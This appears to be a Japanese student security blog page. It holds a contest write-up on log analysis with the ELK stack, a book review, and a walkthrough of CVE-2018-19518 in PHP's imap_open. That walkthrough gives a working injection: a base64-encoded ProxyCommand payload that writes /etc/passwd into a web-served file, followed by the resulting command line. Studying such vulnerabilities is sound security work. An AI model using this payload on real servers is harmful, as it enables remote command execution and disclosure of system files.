MBSD Cybersecurity Challenges 2018に行った話

MBSD Cybersecurity Challenges 2018に行った話

書き出し

初めまして、あざらと申します。 12月12日に開催されたMBSD主催のMBSD Cybersecurity Challengesに1年ぶり2度目の参加してきた。

筆者の学校からは多くのやる気のある1年生や、昨年出場した2年生が出場することにより、合計4チームがエントリーし、互いに切磋琢磨しながらコンテストに挑みました。 筆者のチームは、1,2年各2人の構成でエントリーしました。

今年の出場チームは昨年よりも多く、下記の引用の様に全国36校から106ものチームが応募する大イベントになっていました。筆者は予選すら通らないのではとヒヤヒヤものでした。

セキュリティコンテスト「MBSD Cybersecurity Challenges 2018」には、全国36校から106チームのエントリーがありました。多数のご参加ありがとうございました。
うち、サイバー攻撃の全貌解明レポートを期限までに提出していただいた80チームについて、一次審査を行いました。厳選なる審査の結果、下記の10チームが入賞となりました。

※引用元 : 専門学校と経営:セキュリティコンテスト一次審査結果発表

さて、前置きはここまでにして本題に入っていきましょう。

予選

今年の課題は大きく分けて3つあり、攻撃の解明(Log解析)と対策の提案、そして報告書という形でまとめ上げて提出すると言うものでした。

一昨年、昨年とサービスの脆弱性を探し出すと言う物だったので今年も脆弱性診断系であろうと考えていた筆者は、この課題が発表された時に頭が真っ白と言う状態でした。 なんせLog解析なんて初めてで知識も何をすればいいのかも解らない、これはもう終わったと思うばかりでした。

しかしこの気持ちをずっと引きずっても意味がない、そしてできればBurpが欲しいと気持ちを切り替え予選の準備を始めました。

マイナス10日から始まった予選

課題の概要が公開されてから2日が経ち、そろそろ準備を始めなければならないと思い始めた。 ひとまず、参考書籍を手に取りながらパラパラと読み進める。多くの攻撃のログやその読み方などが載っていて初めてログ解析をする筆者にもわかりやすく、ログを見る際の多くのコツを学べました。

粗方、読み方を理解すると次はより効率的、かつ報告書に活かせる様にログを捌くかを考え始めました。 まだ課題本体は配布されておらず、ログがどのくらいの規模かもつかめていない状態でした。その中、筆者は一度使ってみたい技術があり、予選が始まるまでにその技術の基盤を整備し始めました。

その技術というのはELKstackという技術です。

ELKStack

ただ一度使ってみたいからと言ってもそれだけの理由で採用して失敗したくないと思い色々と調べ、この3つが筆者の中での決め手となりました。

1つめは、Logの可視化という点

これは筆者的に一番重要な箇所で、直感的かつ関連性が表現されるグラフにより、結果的に十数万件のLog解析の大きな武器になりました。

f:id:oukasakura3:20181213231721p:plain
ユーザーエージェントの割合を円グラフ表示したKibana

2つめは、ログデータ内の集計が容易で出力形式にCSVがあるという点

多くのアクセスログからユーザーエージェントだけ抽出し、どのログを集計したいときにこの機能に頼りました。 下の図のようにリスト形式で集計結果を表示してくれる他に、下の2枚目のようにCSV形式で出力できるため、ExcelやWordに転記しやすく、結果的に解析の本質的な部分に注力できました。

f:id:oukasakura3:20181213232550p:plain
集計の図

f:id:oukasakura3:20181213232629p:plain
CSV形式出力での表示
3つめは、pipelineの設定で複数のLogを一度に見れるという点

これはpipelineを通すことにより複数種のログを一纏めにも、分割にもできるということができました。

Logstashのpipelineは今回上手に描くことができませんでしたが下記のようにinputファイルごとにタグ付けを行い、そのタグやタイプごとにフィルターを通すことによってtime stampなどの画一化できる箇所の形式統一ができるようになりました。

f:id:oukasakura3:20181213233551p:plain
inputごとのtag付け
f:id:oukasakura3:20181213233558p:plain
タグごとの振り分け

またこの技術を利用するにあたりチームメンバー全員が動かせる環境が必要でした。その条件を満たすために筆者はdocker-composeを利用し環境を構築し、その構築済みの環境をチームメンバーに配布しました。

これで解析基盤を整備できたので、次は情報の集積方法を整備しようと考えました。

情報集積

情報の集積と共有は主にgoogleスプレッドシートGitHubを利用して怪しいログの洗い出しとレポートの管理を行いました。 これらの使い方として、スプレッドシートでは作戦や見つけた攻撃のログを集めるだけ集めて、メモをや備考を描き連携をとりました。GitHubではある程度のテンプレートに沿ったマークダウンでレポートを収集し、それをWord変換の自動化ツールで結合・集積することで報告書へ落とし込んでいました。

この情報集積に使ったスプレッドシートにはできる限り自分たちの労力を減らす仕組みが多く仕込まれています。例えば、下の画像のように、CVSSv3の計算をある程度直感的に行えるようにしており、表示や整形まで行えるような仕組みを作っていました。

f:id:oukasakura3:20181214000045p:plain
CVSSv3入力欄
f:id:oukasakura3:20181214000106p:plain
CVSSv3の表示欄(値出力・attack vectorの生成)

調査と報告

10月22日から始まった一次審査の期間中に、筆者ともう1人の2年は1週間ほど中抜けし沖縄に行くというチームの1年生にとっては大きなイベントがありましたが、結果的には報告書はボロボロの状態ではありますが提出することに成功しました。

この情報集積に使ったスプレッドシートにはできる限り自分たちの労力を減らす仕組みが多く仕込まれています。例えば、下の画像のように、CVSSv3の計算をある程度直感的に行えるようにしており、表示や整形まで行えるような仕組みを作っていました。

振り返り

先の書き出しで『昨年も出場した』と書きましたが、昨年は3位と1点差で4位という苦い思いをしましたが、今年もそれに近い形でした。

今年は2位という好成績ではありましたが1位の同じサークルから出たチームと1点差... 悔しさもありながら、結果が出てからわかる反省点や振り返りもあり、それを少しまとめていきたいと思う。

f:id:oukasakura3:20181213232153p:plain
2位の記念写真

反省点

焦りすぎは禁物

今回は筆者自身のスケジュールが詰め気味で、後半は焦る気持ちで同じチームの一年生にプレッシャーと不安を与えてしまい、すごく反省をしている。そして、余裕をなくすことにより、後述する「書く人がいれば読む人もいる」ということにも繋がりますが、誤字脱字が多くなりそれを良しとしてしまう状態になってしまいました。

実際の仕事でも期日が決まっている仕事もあるでしょうし、この大会を通しこのようなことに気づけたことは良かったのだなとおもった。

書く人がいれば読む人もいる

筆者は言語化というものに苦手意識を持っており、下書きをしてから本書きということや、読み直しを行わずに書いてしまう癖がある。

その中で、今回の講評で一番大きかったマイナス点として誤字脱字の多さがあったと指摘された。

コンテストでは必ず審査員がおり、その審査員が読むからこそより細心の注意を払いながら書くべきだと今では思っている。

そして、このコンテストが本当の仕事でなかったことに安堵するばかりである。

書けばわかる訳ではない

今回2人の1年生とともに出場したが、チームのやることを書き残すことは行なっており、それを見て僕たちのいない時の作業をやってほしいと伝えた。逆を言えば、その書き残すことしか僕はやっていなかったのである。

軽くアドバイスや調査の仕方、レポートのまとめ方は説明したがそれが役に立ったのかも若干怪しいところではある。

実際に大会の後、徐々に筆者の中で緊張がほぐれ状況を整理していくうちに「もっと教えてあげれば良かった、もっとサポートしてあげれば良かった」との自責の念、そして今後はこのような方法では行なってはいけないという決心がついた。

感じたこと

初めては学びを促進する

書き出しでも述べたように、筆者自身がLog解析を行うのが初めてで何もわからないことばかりでした。だけど初めてのもの、新しいものを学ぶのはすごく楽しいしワクワクするものだなと改めて感じました。

昨年の大会の時も同じようにWebセキュリティへの憧れと楽しさを学び、感じることができました。この気持ちは多分いつまでも続いていくものであれと思うばかりです。

セキュリティエンジニアに限らず多くの先人エンジニアの方は、この気持ちがあったのかなと思いを馳せる次第でした。

まとめ

今回参加をしたことにより技術面や人間面で学ぶことが多くあり、この経験を活かしながら今後の学生生活、そして就職後の人生に役立てたらなと思っています。

この大会を主催していただいた三井物産セキュアディレクション様をはじめ、協賛の企業4社(敬称略 サイボウズ/Tanium合同/日本マイクロソフト/日本HP)、そして事務局の皆様に感謝の気持ちでいっぱいです。

来年も面白い課題が出題されることを心待ちにしています!(今年みたいに課題の趣旨変更でマルウェア解析とかが来たらすごく胃が痛いです)

また、一緒に戦ったチームメンバーにも感謝と反省の気持ちを伝えたい。ありがとう。

今回の日記で書ききれなかった技術的なことは、別途気が向いたら書いていきたいと思います。

読んでくださいありがとうございました。

余談

大会で2位になった際にいただいたAmazonカード1万円分で何を買おうかと悩んだ際に、ハッキング・ラボの本でも買おうかなとなりました。

残金をどこに使おうかと考えた結果、生活が苦しいので洗剤と柔軟剤、そして備蓄用の水にでもしようかなと考えています。

大会準備・期間中に一通り読んだ本/サイト一覧

  • ログを見る前の勉強として読んだ本

  • ELK構築時、運用時に読んだ本

    • データ分析基盤構築入門
  • 対策案策定時に読んだ本

    • CSIRT:構築から運用まで
  • 報告書作成時にパラパラした本

    • インシデントレスポンス 第3版(一部パラパラ読み)
  • 攻撃等の手がかりを探した本

    • 実践サイバーセキュリティモニタリング 
  • 対策策定時に参考にした本/サイト

    • 体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践

    • PHP manual

エンジニアの知的生産術 読書感想文

ここ1週間ずっと読んでいた本を自分の中でまとめるために感想文を書きます。

エンジニアの知的生産術 ──効率的に学び、整理し、アウトプットする (WEB+DB PRESS plusシリーズ)

エンジニアの知的生産術 ──効率的に学び、整理し、アウトプットする (WEB+DB PRESS plusシリーズ)

心変わり

 今年一年で、セキュリティキャンプやCODEBLUE、セキュリティキャンプのスポンサー企業でのアルバイトなど多く出来事がありました。

 その中で、多くのエンジニアと出会う機会があり、そのエンジニアさんはどの人もすごく活力があり、知識量も多く僕の中では憧れとなり「この人たちのようなエンジニアになりたい」と思うようになりました。

 そこで私は思ったのです。ただがむしゃらにやるのではなく自分が苦手な学ぶと言う分野をもう少し楽しく、効率的なものにしようと。

 このことから、私はこの本に手を伸ばしました。

読みながら思ったこと

 この本んではざっくりと分けて3段階に分けて本が僕の中では考えました。

 1段階目では学ぶと言う行為を言語化し、収集・抽象・応用の三つの要素でのこつや勉強法・ヒントなどを学ぶとともに、やる気の出し方やタスクの分配、記憶の鍛え方などが書かれており、自分が何が苦手なのかを把握しながら読み進めました。

 2段階目では情報の収集(インプット)・抽象化(整理/整形)・応用(アウトプット)にさらにフォーカスを当てて章が割り振られていました。この2段階目では自分の苦手な部分である、情報の整理と応用に重点を当てて読み、考えをまとめる章では、書かれている内容を若干短縮しながら試して読み進めていきました。

 応用に関しては今後のの活用のためにメモを取りながら読んでいましたが、その中でもYoungのアイデア作りや言語化を促す方法などを今後実際にやってみたいなと思っています。

 3段階目では、新たに学ぶ知識と意思決定の仕方についてでした。

 この章で僕は、自分経営戦略と呼ばれる項が自分の中に残りました。その中には他人から得た知識の価値や連続スペシャリストなどの概念をしり、今後の自分自身の意思決定に利用していきたいと思っています。

最後に

 この本を読み、今後の自分のエンジニアリング仕方や行動方針、また勉強手法などを強化できればと思っています。  ここで書けない実践の内容は今後のブログで書いていければなと思っています

CVE-2018-19518の元情報を日本語訳しながら実際に試したまとめ

概要

このフォーラムの情報を翻訳しながら試した内容と等を書き連ねています。

この脆弱性では、imap_openのホスト部分に

-oProxyCommand=echo\tbase64encodestr==|base64\t-d|sh}

のようなタブ文字とbase64文字列を挿入することにより任意のコマンドが実行可能になる脆弱性です。

1. はじめに

imap_open関数は本来このように

$imap = imap_open('{'.
        $_POST['server'].':993/imap/ssl
    }INBOX',
 $_POST['login'],
 $_POST['password']);

{ ホスト名:ポート[フラグ名] }mailbox_name,login,password をという形で引数に渡します。

imap_openのフラグはこちらから

2. ライブラリの中身

PHPマニュアルの内部にはこのような一文がありました。

"/norsh  事前に認証済みの IMAP セッションを確立する際に、rsh や ssh を使用しません。"

これを逆説的に考えるとimap_openではRSHやSSHなどを使用し事前に認証済みのIMAPのセッションを確立させているということがわかります。

つまり、RSHやSSHを利用し指定されたIDとパスワードでホストに接続する。そこでimapに接続をするという感じになります。

その際に利用されるライブラリのコードはこちらになります。

#SSHPATHが存在するかを確認
  if (!sshpath) sshpath = cpystr (SSHPATH);
#RSHPATHが存在するかを確認
  if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
  if (*service == '*') {    /* SSH必要? */
                /* SSH出ない場合はNILを返す */
    if (!(sshpath && (ti = sshtimeout))) return NIL;
                /* SSHコマンドのprototypeが定義されているか? */
    if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
  }
                /* RSH必要? */
  else if (rshpath && (ti = rshtimeout)) {
                /* RSHコマンドのprototypeが定義されているか? */
    if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
  }
  else return NIL;        /* rsh disabled */

コマンド実行時に割り当てられる順番としては、

  1. rsh-path
  2. hostname
  3. ユーザー名
  4. 接続方法

といった順で割り当てられながら下のprototypeのような形式に挿入されます。

"%s %s -l %s exec /etc/r%sd"

また、SSHPATHの判断は/etc/c-client.cfが形成されdorc()で行なっているらしいです。

3. tcp_aopen

rimapのクライアントルーチンの際にtcp_aopen()を使って動作します。

※rimapについて詳しくはこちら

その際に子プロセスを先ほどのPHPコード内部のrshcommandを実行します。

この関数の仕様上、MacDOSWindowsでは全てNILを返します。

このことから、事前に承認されたセッションはLinuxのみでよびだされ、RSHへのパスはmakefileにハードコア指定されており、SSHは指定されていません。

ですが、近年では下記のようにRSHコマンドの置き換えや廃止が行われています。

RHEL-like: rsh = not found
Debian-like: rsh -> ssh
Arch Linux: rsh = rsh
FreeBSD: rsh = rsh (deprecated)

今回の脆弱性では、Debianでのrshのリンクがsshに書き換わっているという部分が問題になっています。

4. 脆弱性の悪用

ここまで説明した内容でも、rimapdを起動するシステムコールに最初に記載した文字列を埋め込むことで悪影響を与えることは容易に想像ができます。

そこで、手始めにlocalhostを渡してみます。

[pid 4350] execve("/usr/bin/rsh", ["/usr/bin/rsh", "localhost", "-l", "twost", "exec", "/usr/sbin/rimapd"], [/* 54 vars */] ...

すると、localhostの場所にはしっかりとlocalhostと引数が割り当てられます。

先ほどのrshの内容は見ての通りDebian系ではsshに変換されます。

一応その確認の方法として下記のコマンドを打ち込むことで確認が可能になっています。

$ which rsh
$ ls -la /usr/bin/rsh
$ ls -la /etc/alternatives/rsh
$ rsh

さて今回のポイントとなる、ssh-oについてです。

このオプションにはコンフィグに利用されるProxyCommand(多段sshの際の設定)をセットできるようになっていて、1回目のssh時にコマンドを実行できます。

5. shimのみのRCEバイパスではなくなった。

インタープリタではなくライブラリが呼び出す別のプロセスでこれを実行するので、攻撃者はPHPの無効化システムの干渉を受けません。

6.引数にスラッシュと空白が使えなかった

まずはじめにimap_openのフラグは、スラッシュで区切られており、引数はスペースで区切られています。 そのためどちらも回避しなければ任意のコード実行はできませんでした。

そこで\tbase64エンコードした文字列を使い引数に使われる文字列を回避します。

$server = " -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

これによりimap_openのライブラリ内部で生成され実行されるコマンドとして

/usr/bin/rsh -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh -l exec /usr/sbin/rimapd

が生成され去れます。

これにより、imap_openの実行時にrshが呼び出されsshが実行される、そしてその引数に与えられたProxyCommandによりbase64化した任意のコマンドが実行することによりRCEは成功します。

参考文献

発端となったリポジトリ

情報源

UW IMAP Server Documentation

SSH:The Secure Shell

Alpine : tcp_unix.c

セキュリティキャンプ2018全国大会に参加して来た話 「開発運用コースでの5日間」 3日目/4日目/5日目とまとめ

前回のセキュリティキャンプ2018 全国大会に参加して来た話 「開発運用コースでの5日間」 1日目/2日目とおまけの課題晒しを見てない人こちらから。

続きを読む

セキュリティキャンプ2018 全国大会に参加して来た話 「開発運用コースでの5日間」 1日目/2日目とおまけの課題晒し

みなさんこんにちは、azara(あざら)です。 この記事は僕が8月14日から18日までの4泊5日で参加して来たセキュリティキャンプについてお話しと課題についてお話ししていこうかなと。

3日目以降はこちら

続きを読む